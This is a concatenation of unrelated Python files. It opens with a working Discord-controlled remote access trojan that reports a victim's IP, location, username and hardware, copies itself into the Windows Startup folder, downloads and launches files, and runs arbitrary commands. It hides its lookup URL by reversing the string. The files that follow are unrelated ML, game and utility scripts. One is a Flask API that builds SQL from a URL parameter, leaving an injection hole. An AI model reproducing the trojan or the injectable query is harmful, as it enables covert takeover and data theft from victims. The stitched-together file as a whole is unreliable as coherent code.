import discord
from discord.ext import commands
import urllib.request
import json
import os
import socket
import platform
import tempfile
import random
import uuid
import shutil, sys, ctypes, threading
import win32api, win32con
import win32gui, subprocess
import time

server_id = 123456789
token = "TOKEN HERE"

def globalInfo():

    url = 'nosj/oi.ofnipi//:sptth'
    response = urllib.request.urlopen(url[::-1])
    data = json.loads(response.read().decode())
    ip = data['ip']
    loc = data['loc']
    location = loc.split(',')
    latitude = location[0]
    longitude = location[1]
    username = os.getlogin()
    country = data['country']
    country_code = data['country'].lower()
    region = data['region']
    city = data['city']
    postal = data['postal']
    computer_name = socket.gethostname()
    cores = os.cpu_count()
    gpu = ''
    if platform.system() == 'Linux':
        gpu_info = os.popen('lspci | grep -i nvidia').read().strip()
        if gpu_info:
            gpu = os.popen("nvidia-smi --query-gpu=gpu_name --format=csv,noheader").read()

    globalinfo = f":flag_{country_code}: - `{username.upper()} | {ip} ({country}, {city})`\nMore Information ðŸ‘€ : \n :flag_{country_code}: - `({region}) ({postal})` \n ðŸ’» PC Information : \n`{computer_name}`\n Cores: `{cores}` \nGPU : `{gpu}` \nLatitude + Longitude  : {latitude}, {longitude}\n "
    return globalinfo

intents = discord.Intents.all()
bot = commands.Bot(command_prefix="!", intents=intents)
bot.remove_command('help')

computer_ids = {}

def generate_computer_id():
    return str(uuid.uuid4())

def add_to_startup(program_path):
    startup_folder = os.path.join(os.getenv('APPDATA'), 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup')

    try:
        script_name = os.path.basename(program_path)
        destination_path = os.path.join(startup_folder, script_name)

        if not os.path.exists(destination_path):
            shutil.copyfile(program_path, destination_path)
        else:
            pass
    except Exception as e:
        pass

@bot.event
async def on_ready():
    await bot.tree.sync()
    computer_name = socket.gethostname()

    computer_id = generate_computer_id()
    computer_ids[computer_id] = bot

    server = bot.get_guild(server_id)
    channel_name = computer_name

    existing_channel = discord.utils.get(server.text_channels, name=channel_name)
    if not existing_channel:
        try:
            data = globalInfo()
        except:
            data = 'Could not get any information about the user'
        new_channel = await server.create_text_channel(channel_name)

        embed = discord.Embed(title="Someone launched it =) ")
        embed.add_field(name=f"Computer information\nComputer unique id \n`{computer_id}`\n", value=data)

        await new_channel.send(content="@everyone", embed=embed)

google_user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'

@bot.tree.command(description="Will put the program into startup folder")
async def startup(interaction: discord.Interaction, computer_id: str):
    program_path = sys.argv[0]
    if computer_id in computer_ids:
        bot_instance = computer_ids[computer_id]
        try:
            add_to_startup(program_path)
            await interaction.response.send_message('Added to startup successfully')

        except:
            await interaction.response.send_message('Error while trying to add to startup')

@bot.tree.command(description="You will be able to upload a file, YOU MUST USE A DIRECT DOWNLOAD LINK")
async def download(interaction: discord.Interaction, computer_id: str, url: str):
    if computer_id in computer_ids:
        bot_instance = computer_ids[computer_id]

        headers = {'User-Agent': google_user_agent}
        request = urllib.request.Request(url, headers=headers)

        try:
            with urllib.request.urlopen(request) as response:
                content = response.read()

            file_extension = url.split('.')[-1]

            random_filename = f"{random.randint(1000, 9999)}.{file_extension}"
            temp_folder = os.path.join(os.path.expanduser("~"), 'AppData', 'Local', 'Temp')

            if not os.path.exists(temp_folder):
                os.makedirs(temp_folder)

            full_path = os.path.join(temp_folder, random_filename)

            if os.path.exists(full_path):
                await interaction.response.send_message("A file with the same name already exists in the temp folder.")
            else:
                with open(full_path, 'wb') as file:
                    file.write(content)

                await interaction.response.send_message(f"{random_filename} has been downloaded with Google User-Agent and saved to the temp folder.")

        except urllib.error.URLError as e:
            await interaction.response.send_message(f"Error: {e.reason}")

    else:
        await interaction.response.send_message("Invalid computer ID. Please provide a valid computer ID.")

@bot.tree.command(description="Will start an file that can be added with /download command")
async def startfile(interaction: discord.Interaction, computer_id: str, file_id: str, file_extension: str):
    if computer_id in computer_ids:
        bot_instance = computer_ids[computer_id]

        temp_folder = os.path.join(os.path.expanduser("~"), 'AppData', 'Local', 'Temp')

        full_path = os.path.join(temp_folder, f"{file_id}.{file_extension}")

        try:
            if os.path.exists(full_path):
                import subprocess
                subprocess.Popen([full_path], shell=True)

                await interaction.response.send_message(f"Started file {file_id}.{file_extension}")
            else:
                await interaction.response.send_message("File not found in the temp folder.")

        except Exception as e:
            await interaction.response.send_message(f"Error: {str(e)}")

    else:
        await interaction.response.send_message("Invalid computer ID. Please provide a valid computer ID.")

@bot.tree.command(description='Send a message to the infected computer')
async def message(interaction: discord.Interaction, computer_id: str, message_title: str, message_text:str):
    if computer_id in computer_ids:
        bot_instance = computer_ids[computer_id]
        try:
            await interaction.response.send_message("Successfully sended.")

            win32api.MessageBox(0, message_text, message_title, win32con.MB_ICONWARNING)
        except:
            await interaction.response.send_message("Error while trying to send the message box")
    else:
        await interaction.response.send_message("Invalid computer ID. Please provide a valid computer ID.")

@bot.tree.command(description='Execute a command prompt command (DO NOT USE TASKLIST)')
async def execute_command(interaction:discord.Interaction, computer_id: str, *, command: str):
    if computer_id in computer_ids:
        bot_instance = computer_ids[computer_id]

        import subprocess
        try:
            result = subprocess.run(command, shell=True, text=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

            response_message = f"Command '{command}' executed on computer {computer_id}\n\n"
            response_message += "Command Output:\n"
            response_message += result.stdout

            if result.stderr:
                response_message += "\nCommand Error:\n"
                response_message += result.stderr

            await interaction.response.send_message(response_message)
        except Exception as e:
            await interaction.response.send_message(f"Error executing the command: {str(e)}")
    else:
        await interaction.response.send_message(f"Computer ID '{computer_id}' not found.")

@bot.tree.command(description='Get a list of running processes')
async def list_processes(interaction: discord.Interaction, computer_id: str):
    if computer_id in computer_ids:
        bot_instance = computer_ids[computer_id]

        response_message = f"**Here are all the running processes in {computer_id}:**\n\n"

        try:
            result = subprocess.run('tasklist /fo table /nh | FOR /F "tokens=1" %i IN (\'more\') DO @echo %i', shell=True, text=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

            process_list = result.stdout.splitlines()
            unique_process_list = list(set(process_list))
            response_message += "\n".join(unique_process_list)

            if result.stderr:
                response_message += "\nCommand Error:\n"
                response_message += result.stderr

            if len(response_message) <= 1998:
                await interaction.response.send_message(response_message)
            else:
                await interaction.response.send_message("The list of processes is too long to display.")
        except Exception as e:
            await interaction.response.send_message(f"Error executing the command: {str(e)}")

    else:
        await interaction.response.send_message(f"Computer ID '{computer_id}' not found.")

bot.run(token)


import os
import torch
from level5_regression.Training import Training
from level5_regression.SimulationImagesDataset import SimulationImagesDataset

root_dir_dataset = "development_data/20191022_level5_raw_data_new_generation"  # use the best_policy subset

# specify the state space components to predict one
prediction_target = ["angles", "obj_pos", "tip_pos", "target_pos"]  # use None or "ALL" for the full 22-dimensional target

# if True, then use a concatenated Two-Sequence as Input
sequence_samples = False

# the Training / Validation / Test Set split ratio
# if this is 0.8 then 80% of the data is for Test and rest for Evaluation
ratio = 0.8

# after every <number> epoch, save the model
checkpoint_frequency = 2

# number of epochs to train the model for
num_training_iterations = 200

# to control reproducibility
master_seed = 4444

# path to the PyTorch model of a previous training
# if specified then that model resumes its training
path_checkpoint_file = None

# number of samples per update during training
batch_size = 4

# number of Filters for the first convolutional layer
num_filters = 4

# nonlinearity between layers
activation = "relu"

# set to 0 by default, could possibly have impact on speed
num_workers = 0

# either "xz", "yz", "+yz" or "+yz+xy"
# specifies whether to use the information of a single
# or multiple camera views and which ones
multi_view = "yz"

# if specified, then this is the percantage of a dataset
# that will be used for the actual training
subset_ratio_per_dataset = 1  # if None or 1 then the full dataset is being used

# if True, then use a 3-layer Fully Connected regressor
# at the end of the overall CNN architecture
third_fc_layer = True

simulation_images_dataset = SimulationImagesDataset(root_dir_dataset,
                                                    sequence_samples=sequence_samples,
                                                    prediction_target=prediction_target,
                                                    multi_view=multi_view)

# Compute the Training/Validation/Test Split for the complete Dataset
complete_dataset_length = len(simulation_images_dataset)

training_set_length = int(complete_dataset_length * ratio)

validation_set_length = int(((complete_dataset_length - training_set_length) / 2)) # int(np.round(complete_dataset_length * np.round(((1 - ratio) / 2),1), 1))

test_set_length = validation_set_length
if validation_set_length != ((complete_dataset_length - training_set_length) / 2):
    training_set_length += 1

def get_split(dataset_length, ratio):
    """
    Calculate the split for a dataset given the ratio

    :param dataset_length: (int) length of the dataset
    :param ratio: (int) between 0-1
    :return: (int, int) a split according to ratio, a+b == dataset_length
    """

    a, b = int(round(ratio * dataset_length)), int(round((1 - ratio) * dataset_length))
    assert(a + b == dataset_length)

    return a, b

if subset_ratio_per_dataset:

    training_set_length, training_set_holdout = get_split(training_set_length, subset_ratio_per_dataset)
    validation_set_length, validation_set_holdout = get_split(validation_set_length, subset_ratio_per_dataset)
    test_set_length, test_set_holdout = get_split(test_set_length, subset_ratio_per_dataset)

    training_set, validation_set, test_set, _, _, _ = torch.utils.data.random_split(simulation_images_dataset,
                                                                           [training_set_length,
                                                                            validation_set_length,
                                                                            test_set_length,
                                                                            training_set_holdout,
                                                                            validation_set_holdout,
                                                                            test_set_holdout])

    print("Using only " + str(subset_ratio_per_dataset * 100) + " % of Data Points per Dataset.")

else:

    training_set, validation_set, test_set = torch.utils.data.random_split(simulation_images_dataset,
                                                                           [training_set_length, validation_set_length,
                                                                            test_set_length])

assert(training_set_length == len(training_set)
       and validation_set_length == len(validation_set)
       and test_set_length == len(test_set))

print("Training Set Length: {}"
      "\nValidation Set Length: {}"
      "\nTest Set Length: {}"
      "\nTotal number of Datapoints used for this Training: {}"
      "\nTOTAL NUMBER OF DATAPOINTS IN COMPLETE DATASET: {}"
      .format(str(training_set_length),
              str(validation_set_length),
              str(test_set_length),
              str(training_set_length+validation_set_length+test_set_length),
              str(complete_dataset_length)))

def get_loader(dataset, batch_size=4, num_workers=2):
    """
    Provide the PyTorch loader, which can directly be used for Training.

    :param dataset: (PyTorch.Dataset) dataset instance
    :param batch_size: (int) number of samples to load each iteration during training
    :param num_workers: (int)
    :return: (object) PyTorch Dataset Loader
    """

    return torch.utils.data.DataLoader(dataset,
                                       batch_size=batch_size,
                                       shuffle=True,
                                       num_workers=num_workers) # TODO: inspect whether this variable can better something

# Get Dataset Loaders
loader_training_set = get_loader(training_set, batch_size=batch_size, num_workers=num_workers)

loader_validation_set = get_loader(validation_set, batch_size=batch_size, num_workers=num_workers)

loader_test_set = get_loader(test_set, batch_size=batch_size, num_workers=num_workers)


"""Utility functions for the model."""

import re
import logging
import datetime
from typing import Optional

import orm
import constants as const

def logline_to_dict(logline: str) -> dict:
    """Convert a logline into a sanitized dict"""
    data = {}
    pairs = re.split('(?<!:):(?!:)', logline.strip().strip('\0'))
    for p in pairs:
        p = p.replace('::',':')
        keyval = p.split('=')
        try:
            data[keyval[0]] = keyval[1]
        except IndexError as e:
            logging.error('error "{}" in keyval "{}", logline "{}"'.format(e,keyval,logline))
    data["v"] = re.match(r"(0.\d+)", data["v"]).group()
    if "god" not in data:
        data["god"] = "GOD_NO_GOD"

    if "status" not in data:
        data["status"] = ""

    data["god"] = const.GOD_NAME_FIXUPS.get(data["god"],data["god"])
    if "end" in data:
        data["time"] = data["end"]
        data["ktyp"] = const.KTYP_FIXUPS.get(data["ktyp"], data["ktyp"])
        data["type"] = "death.final"
        data["milestone"] = data["tmsg"]

    data["runes"] = data.get("urune", 0)
    # D:0 is D:$ in logfile so we came from D:1 in that case
    data["oplace"] = data.get("oplace",
            data["place"].translate(str.maketrans("$", "1")))

    return data

def crawl_date_to_datetime(d: str) -> datetime.datetime:
    """Converts a crawl date string to a datetime object.

    Note: crawl dates use a 0-indexed month... I think you can blame struct_tm
    for this.
    """
    # Increment the month by one
    d = d[:4] + "%02d" % (int(d[4:6]) + 1) + d[6:]
    return datetime.datetime(
        year=int(d[:4]),
        month=int(d[4:6]),
        day=int(d[6:8]),
        hour=int(d[8:10]),
        minute=int(d[10:12]),
        second=int(d[12:14]),
    )

def _morgue_prefix(src: str, version: str) -> Optional[str]:
    src = src.lower()
    if src == "cao":
        prefix = "http://crawl.akrasiac.org/rawdata"
    elif src == "cdo":
        prefix = "http://crawl.develz.org/morgues"
        prefix += "/" + version_url(version)
    elif src == "cue" or src == "clan":
        prefix = "http://underhound.eu/crawl/morgue"
    elif src == "cbro":
        prefix = "http://crawl.berotato.org/crawl/morgue"
    elif src == "cxc":
        prefix = "http://crawl.xtahua.com/crawl/morgue"
    elif src == "lld":
        prefix = "http://lazy-life.ddo.jp:8080/morgue"
        prefix += "-" + version_url(version)
    elif src == "cpo":
        prefix = "https://crawl.project357.org/morgue"
    elif src == "cko":
        prefix = "http://crawl.kelbi.org/crawl/morgue"
    elif src == "cwz":
        prefix = "https://webzook.net/soup/morgue/"
        prefix += "/" + version_url(version)
    elif src in ("ckr", "csn", "rhf", "cjr", "cszo"):
        return None
    else:
        raise ValueError("No prefix for %s" % src)
    return prefix

def morgue_url(game: orm.Game) -> Optional[str]:
    """Generates a morgue URL from a game."""
    src = game.account.server.name
    prefix = _morgue_prefix(src, game.version.v)
    if not prefix or game.alive:
        return None

    name = game.account.name
    timestamp = game.end.strftime("%Y%m%d-%H%M%S")
    return "%s/%s/morgue-%s-%s.txt" % (prefix, name, name, timestamp)

def version_url(version: str) -> str:
    """Cleans up version strings for use in morgue URLs."""
    if version[-2:] == "a0":
        return "trunk"
    if len(version) > 4:
        for i in range(len(version)):
            if version[-(i + 1)] == ".":
                return version[: -(i + 1)]
    return version


import cv2
import os
import numpy as np
import imutils

def read_file(filename):
  img = cv2.imread(filename)
  return img

def processFile3(filen, rename, rename_res):
  img = read_file(filen)
  if img is not None:
   if (img.shape[0]>200):
    gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
    gray = cv2.GaussianBlur(gray, (3,3), 1)

    edge = cv2.adaptiveThreshold(gray, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 43, 16)
    cartoon = cv2.bitwise_and(img, img, mask=edge)

    res = imutils.resize(cartoon, width=400)
    cv2.imwrite(rename, cartoon)
    cv2.imwrite(rename_res, res)

for url in os.listdir('c:/fashion'):
#url='cn7629899.jpg'
  print (url)
  if (url!='out' and '.zip' not in url):
    processFile3('c:/fashion/'+url,'c:/fashion/out/'+url,'c:/fashion/out_res/'+url)
  #break


# Usage:
# Get the data from https://ndvr-videos.s3.us-east-2.amazonaws.com/index-videos/videos.zip (see get_data.sh script)
# Extract it in the samples_directory

import subprocess
import shlex
import os
import argparse
import pandas as pd
import re
import time

def process_pair(directory, filename_1, filename_2, th_xh):
    pair = filename_1 + ' / ' + filename_2

    f1 = os.path.join(directory, filename_1)
    f2 = os.path.join(directory, filename_2)

    import time
    start_time = time.time()

    ffmpeg_params = shlex.split(f'ffmpeg -i {f1} -i {f2} -filter_complex "[0:v][1:v] signature=nb_inputs=2:detectmode=full:th_xh={th_xh}:format=binary:filename={filename_1}%d.bin" -map :v -f null -')

    ffmpeg = subprocess.Popen(ffmpeg_params,
                            stdin =subprocess.PIPE,
                            stdout=subprocess.PIPE,
                            stderr=subprocess.PIPE,
                            universal_newlines=True,
                            bufsize=0)

    _, stderr = ffmpeg.communicate()
    execution_time = time.time() - start_time  # It returns time in seconds

    for line in stderr.split('\n'):
        if 'no matching' in line.strip():
            print(pair + ': no match')
            return ['-', '-', 0, execution_time]
        elif 'frames matching' in line.strip():
            matching_data = re.findall(r"[-+]?(?:\d*\.\d+|\d+)", line.strip().split('matching of video 0 at')[1])

            first_match = float(matching_data[0])
            second_match = float(matching_data[2])
            frames_match = int(matching_data[3])

            print(pair + ':', first_match, ',', second_match, ',', frames_match)
            return [first_match, second_match, frames_match, execution_time]

    return ['Process error', 'Process error', 'Process error', execution_time]

def parse_samples(directory, th_xh=116):
    # iterate over files in
    # that directory
    for filename_1 in os.listdir(directory):
        # checking if it is a file
        if os.path.isfile(filename_1):
            for filename_2 in os.listdir(directory):
                if os.path.isfile(filename_2) and filename_2 != filename_1:
                    process_pair(directory, filename_1, filename_2, th_xh)

def process_annotations(samples_directory, annotations_df, max_pairs, th_xh):

    matches_df = pd.DataFrame(columns=['VideoA', 'VideoB', 'Start-A', 'Start-B', 'Frames', 'Time'])
    for filename_1 in annotations_df[0].unique():
        for filename_2 in annotations_df[1][annotations_df[0]==filename_1].unique():
            process_data = process_pair(samples_directory, filename_1, filename_2, th_xh)

            if  'Process error' in process_data:
                print('FFmpeg process error, flipping input videos to see if it fixes:')
                process_data = process_pair(samples_directory, filename_2, filename_1, th_xh)

            matches_df.loc[len(matches_df.index)] = [filename_1, filename_2] + process_data
            print(matches_df)
            if (max_pairs > 0 and len(matches_df.index) >= max_pairs):
                print('Maximum number of pairs compared, exiting now')
                return matches_df
    return matches_df

def parse_annotations(samples_directory, annotations_directory, max_pairs=0, th_xh=116):

    for filename in os.listdir(annotations_directory):
        annotations_file = os.path.join(annotations_directory, filename)

        # checking if it is a file
        if os.path.isfile(annotations_file):
            print('Annotations found in: ', annotations_file)
            annotations_df = pd.read_csv(annotations_file, header=None)

            matches_df = process_annotations(samples_directory, annotations_df, max_pairs, th_xh)
            print('Dataframe:', matches_df, filename)
            print('Saving dataframe to ', filename)
            matches_df.to_csv(filename.replace('txt','csv'))

parser = argparse.ArgumentParser()
parser.add_argument('samples')
parser.add_argument('--annotations')
parser.add_argument('--max_pairs')
parser.add_argument('--th_xh')

args = parser.parse_args()

samples_directory = args.samples

if args.annotations:
    annotations_directory = args.annotations
    parse_annotations(samples_directory, annotations_directory, int(args.max_pairs), int(args.th_xh))

else:
    parse_samples(samples_directory, int(args.th_xh))


import flask_praetorian
import sqlalchemy
from flask import request, jsonify
from flask_restx import abort, Resource, Namespace
from model import Team, db, TeamSchema

# namespace declaration
api_team = Namespace("Teams", "Teams management")

@api_team.route("/<team_id>")
class TeamController(Resource):
    @flask_praetorian.auth_required
    def get(self, team_id):
        team = Team.query.get_or_404(team_id)
        return TeamSchema().dump(team)

    @flask_praetorian.roles_accepted("admin", "editor")
    def delete(self, team_id):
        team = Team.query.get_or_404(team_id)
        db.session.delete(team)
        db.session.commit()
        return f"Deleted team {team_id}", 204

    @flask_praetorian.roles_accepted("admin", "editor")
    def put(self, team_id):
        new_team = TeamSchema().load(request.json)
        if str(new_team.id) != team_id:
            abort(400, "id mismatch")
        db.session.commit()
        return TeamSchema().dump(new_team)

@api_team.route("/")
class TeamListController(Resource):
    @flask_praetorian.auth_required
    def get(self):
        return TeamSchema(many=True).dump(Team.query.all())

    @flask_praetorian.roles_accepted("admin", "editor")
    def post(self):
        team = TeamSchema().load(request.json)
        db.session.add(team)
        db.session.commit()
        return TeamSchema().dump(team), 201

@api_team.route("/points/<team_id>")
class PlayerController(Resource):
    @flask_praetorian.auth_required
    def get(self, team_id):
        query = sqlalchemy.text('SELECT T.name, SUM(P.points) AS points FROM teams_players TP INNER JOIN player P ON TP.player_id = P.id INNER JOIN team T ON TP.team_id = T.id WHERE TP.team_id = ' + team_id + ' GROUP BY TP.team_id')
        data = db.session.execute(query)
        return jsonify({d['name'] : d['points'] for d in data})

@api_team.route("/points/")
class TeamListController(Resource):
    @flask_praetorian.auth_required
    def get(self):
        query = sqlalchemy.text('SELECT T.name, SUM(P.points) AS points FROM teams_players TP INNER JOIN player p ON TP.player_id = P.id INNER JOIN team T ON TP.team_id = T.id GROUP BY TP.team_id ORDER BY points desc')
        data = db.session.execute(query)
        return jsonify({d['name']: d['points'] for d in data})


#!/bin/python3

import math
import os
import random
import re
import sys

# Complete the jumpingOnClouds function below.
def jumpingOnClouds(c):
    position = 0
    jumps = 0

    while position < len(c) - 1:
        print(position)
        jumps += 1
        if position + 2 < len(c) and c[position+2] == 0:
            position += 2
        else:
            position += 1

    return jumps

if __name__ == '__main__':
    scr_dir = os.path.dirname(__file__)
    fptr = open(os.path.join(scr_dir, './output.txt'), 'w')
    fptr_input = open(os.path.join(scr_dir, './input00.txt'))

    n = int(fptr_input.readline())

    c = list(map(int, fptr_input.readline().rstrip().split()))

    result = jumpingOnClouds(c)

    fptr.write(str(result) + '\n')

    fptr.close()

    print(result)


from menu_item import MenuItem

menu_item1 = MenuItem('Roti Lapis', 5)
menu_item2 = MenuItem('Kue Coklat', 4)
menu_item3 = MenuItem('Kopi', 3)
menu_item4 = MenuItem('Jus Jeruk', 2)

menu_items = [menu_item1, menu_item2, menu_item3, menu_item4]

# Definisikan variable index dan tetapkan 0 kepadanya
index = 0

for menu_item in menu_items:
    # Cetak dengan format '0. Roti Lapis: $5' untuk setiap index
    print(str(index) + '. ' + menu_item.info())

    # Tambahkan 1 ke variable index
    index += 1


#coding:utf8
import nuke

def checkError():
	nodes = nuke.selectedNodes()
	if len(nodes) == 0:
		nuke.message("please select node.")
		return 0;
	else:
		return 1;

def genNodes():
	nodes = nuke.selectedNodes()
	for e in nodes:
		tail = e

		w = nuke.nodes.Write()
		r = nuke.nodes.Reformat()
		s = nuke.nodes.slate()
		m = nuke.nodes.AddTimeCode()

		w["file_type"].setValue("exr")
		w["create_directories"].setValue(True)
		w["file"].setValue("/test/test.####.exr")
		r["type"].setValue("to box")
		r["box_width"].setValue(2048)
		r["box_height"].setValue(968)
		r["box_fixed"].setValue(True)
		m["startcode"].setValue("01:00:00:00")
		m["useFrame"].setValue(True)
		m["frame"].setValue(1001)

		r.setInput(0,tail)
		m.setInput(0,r)
		s.setInput(0,m)
		w.setInput(0,s)

def main():
	result = checkError()
	if result==1:
		genNodes()


from users import views
from django.urls import path
from rest_framework.urlpatterns import format_suffix_patterns

urlpatterns = [
    path('admins/', views.AdminList.as_view(), name='admin-list'),
    path('admins/<int:pk>/', views.AdminDetail.as_view(), name='admin-detail'),

    path('superusers/', views.SuperuserList.as_view(), name='superuser-list'),
    path('superusers/<int:pk>/', views.SuperuserDetail.as_view(), name='superuser-detail'),

    path('users/', views.UserList.as_view(), name='user-list'),
    path('users/<int:pk>/', views.UserDetail.as_view(), name='user-detail'),
]

urlpatterns = format_suffix_patterns(urlpatterns)


import random
import math
import time
import numpy as np

paddle_height = 0.2
paddle_x = 1.0
action = [0.0, 0.04, -0.04] # change in paddle y coordinate
oppact = [0,0, 0.02, -0.02] # change in paddle y coordinate for opponent
grid_size = 12.0
num_iter = int(1e5) # number of iterations to train on, used for debugging
test_iter = int(1e3) # number iterations to test on
terminal = int(math.pow(grid_size, 4)*2*3 + 1)

Q = np.zeros((terminal+5, 3)) # Q values
N = np.zeros((terminal+5, 3), dtype=np.int) # N values

C = 120.0 # part of learning rate
gamma = 0.75 # discount factor
upto = 4 # try this many times for each
maxr = 1e9 # reward for this

def encode(ball_x, ball_y, velocity_x, velocity_y, paddle_y, opp_y):
    if ball_x > paddle_x:
        return terminal
    discreteb_x = min(math.floor(ball_x * grid_size), grid_size-1)
    discreteb_y = min(math.floor(ball_y * grid_size), grid_size-1)
    discretev_x = 0 if velocity_x < 0 else 1 # -1 and 1
    if math.fabs(velocity_y) < 0.015: # 0, -1, and 1
        discretev_y = 1
    elif velocity_y < 0:
        discretev_y = 0
    else:
        discretev_y = 2
    discrete_p = min(math.floor(grid_size * paddle_y / (1-paddle_height)), grid_size-1)
    discrete_opp = min(math.floor(grid_size * opp_y / (1-paddle_height)), grid_size-1)
    discreteb_x, discreteb_y, discretev_x, discretev_y, discrete_p
    ball_state = discreteb_x * grid_size + discreteb_y
    velocity_state = discretev_x * 3 + discretev_y
    state = ((ball_state*6 + velocity_state)*grid_size + discrete_p)*grid_size + discrete_opp
    return int(state)

def move(ball_x, ball_y, velocity_x, velocity_y, paddle_y, opp_y, act):
    ball_x += velocity_x
    ball_y += velocity_y
    paddle_y = min(max(0, paddle_y+action[act]), 1-paddle_height)
    opp = 2
    for i in xrange(2):
        if math.fabs(opp_y + oppact[i] + paddle_height/2 - ball_y) <= math.fabs(opp_y + oppact[(i+1)%3] + paddle_height/2 - ball_y) and math.fabs(opp_y + oppact[i] + paddle_height/2 - ball_y) <= math.fabs(opp_y + oppact[(i+2)%3] + paddle_height/2 - ball_y):
            opp = i
    opp_y += oppact[opp]
    bounce = 0
    if ball_y < 0:
        ball_y = -ball_y
        velocity_y = -velocity_y
    if ball_y > 1:
        ball_y = 2.0-ball_y
        velocity_y = -velocity_y
    if ball_x < 0:
        if ball_y >= opp_y and ball_y <= opp_y+paddle_height:
            ball_x = -ball_x
            velocity_x = -velocity_x
        else:
            bounce = 1
    if ball_x > paddle_x:
        if ball_y >= paddle_y and ball_y <= paddle_y+paddle_height:
            ball_x = 2.0 - ball_x
            velocity_x = -velocity_x + float(random.randrange(-15, 15))/1000.0
            velocity_y += float(random.randrange(-3, 3))/100.0
            if math.fabs(velocity_x) < 0.03:
                velocity_x = -0.03 if velocity_x < 0 else 0.03
            if math.fabs(velocity_x) > 1:
                velocity_x = -1 if velocity_x < 0 else 1
            if math.fabs(velocity_y) > 1:
                velocity_y = -1 if velocity_y < 0 else 1
        else:
            bounce = -1
    return ball_x, ball_y, velocity_x, velocity_y, paddle_y, opp_y, bounce

def pong_game(ball_x, ball_y, velocity_x, velocity_y, paddle_y, opp_y, discrete):
    arr = np.zeros(3, dtype = np.int)
    biject = encode(ball_x, ball_y, velocity_x, velocity_y, paddle_y, opp_y)
    bounce = 0
    while bounce == 0:
        # print biject, ball_x, ball_y, velocity_x, velocity_y, paddle_y
        # get next action
        if discrete == 1:
            # compute exploration function value
            for i in xrange(3):
                if N[biject][i] < upto:
                    arr[i] = maxr
                else:
                    arr[i] = Q[biject][i]
            nxt_act = np.random.choice(np.flatnonzero(arr == arr.max()))
            #nxt_act = np.argmax(arr)
        else:
            # test, get max action
            nxt_act = np.argmax(Q[biject])
        # get next state
        ball_x, ball_y, velocity_x, velocity_y, paddle_y, opp_y, bounce = move(ball_x, ball_y, velocity_x, velocity_y, paddle_y, opp_y, nxt_act)
        new_bij = encode(ball_x, ball_y, velocity_x, velocity_y, paddle_y, opp_y)
        if discrete == 1:
            # update number times visited and Q value
            N[biject][nxt_act] += 1
            Q[biject][nxt_act] += C/(C+N[biject][nxt_act]) * (bounce + gamma * Q[new_bij].max() - Q[biject][nxt_act]);
        biject = new_bij
    return max(0, bounce) # 1 = win, -1 = 0 = lose

start_time = time.time()
# q train on discrete case
for i in xrange(3):
    Q[terminal][i] = -1
init_paddle = 0.5-paddle_height/2
train_wins = []
for i in xrange(num_iter):
    val = pong_game(0.5, 0.5, 0.03, 0.01, init_paddle, init_paddle, 1)
    # print("Game number "+ str(i) + ": " + str(val))
    train_wins.append(val)
train_wins = np.array(train_wins)
np.set_printoptions(threshold = np.inf)
print(train_wins)
print("training avg win: " + str(float(np.sum(train_wins)) / num_iter))

# check error on continuous case
total = 0.0
wins = []
for i in xrange(test_iter):
    val = pong_game(0.5, 0.5, 0.03, 0.01, init_paddle, init_paddle, 0)
    wins.append(val)

wins = np.array(wins)
print(wins)
print("num: ", test_iter)
print("average: ", float(np.sum(wins))/test_iter)
print("total time: " + str(time.time() - start_time) + " seconds")


import getpass
path=r'C:\Users\flash\Desktop\ethans\hey_flash.txt'
path1=r'C:\Users\flash\Desktop\credential.txt'
width="*"*50
rno=''
dict11={}
new_rno={}

name=''
father=''
maths=''
eng=''
science=''
hindi=''
percentage=''

def get_last_no():
	fh=open(path)
	total=len(fh.readlines())
	fh.close()
	return total

def add_info():
	print(width)
	sname=input("Enter student name:")
	fname=input("Enter father name:")
	mmarks=int(input("enter marks for maths:"))
	hmarks=int(input("enter marks for hindi:"))
	emarks=int(input("enter marks for english:"))
	smarks=int(input("enter marks for science:"))
	percent=((mmarks+emarks+smarks+hmarks)/400)*100
	global dict11,rno,name,father,maths,eng,science,hindi,percentage
	rno=get_last_no()+1
	temp_dict={rno:{'name':sname,'fname':fname,'marks':{'maths':mmarks,'hindi':hmarks,'english':emarks,'science':smarks,'percent':percent}}}
	name=sname
	father=fname
	maths=mmarks
	eng=emarks
	hindi=hmarks
	science=smarks
	percentage=percent
	dict11.update(temp_dict)
	print('data entered succesfully')
	print('*'*50)
	return teacher_menu()

def read_parser(file_name):
	global dict11
	fh = open(file_name)
	for line in fh:
		rno,sname,fname,mmarks,emarks,hmarks,smarks,percent = line.split(',')
		if '#' not in rno:
			dict11[rno] = {'name':sname,'father_name':fname,
						  'marks' : {'maths':mmarks,'english':emarks,'hindi':hmarks,'science':smarks,'percent':percent}}
	fh.close()
	return dict11

def get_student_data(name):
	fh=open(path)
	r_no=[]
	for line in fh:
		if name in line:
			data=line.split(',')
			r_no.append(data)
	return r_no

def view_result():
	name=input('Enter name to view result::')
	data=get_student_data(name)
	if data:
		print(width)
		print(f"name:  					{data[0][1]}")
		print(f"Father name:   		    {data[0][2]}")
		print(width)
		print("Marks::")
		print(f"Marks in hindi:  		{data[0][3]}")
		print(f"Marks in maths:  		{data[0][4]}")
		print(f"Marks in english:  		{data[0][5]}")
		print(f"Marks in science: 		{data[0][6]}")
		print(f"Total percentage:  		{data[0][7]}")
		print(width)
		print(width)
	return teacher_menu()

def search_with_name():
	print(width)
	name=input('Enter name of the student: ')
	data=get_roll(name)
	if data:
		print(f"Roll no of {name} is {data}")
		print(width)
		return teacher_menu()

def get_roll(name):
	fh=open(path)
	r_no=[]
	for line in fh:
		if name in line:
			data=line.split(',')[:1]
			r_no.append(data)
	return r_no

def teacher_menu():
	print(width)
	print('1.Add information about students')
	print('2.view results by entering roll no')
	print('3.search student by name')
	print('4.exit')
	tchoice=int(input('enter your choice to perform operations::'))
	print('*'*50)
	if tchoice==1:
		return add_info()
	elif tchoice==2:
		return view_result()
	elif tchoice==3:
		return search_with_name()
	elif tchoice==4:
		return main()
	else:
		print('Wrong choice')

def student_menu():
	print(width)
	print("1.View student Roll no")
	print("2.View result")
	choice=int(input("enter yr choice from above meunu"))
	if choice==1:
		return search_with_name()
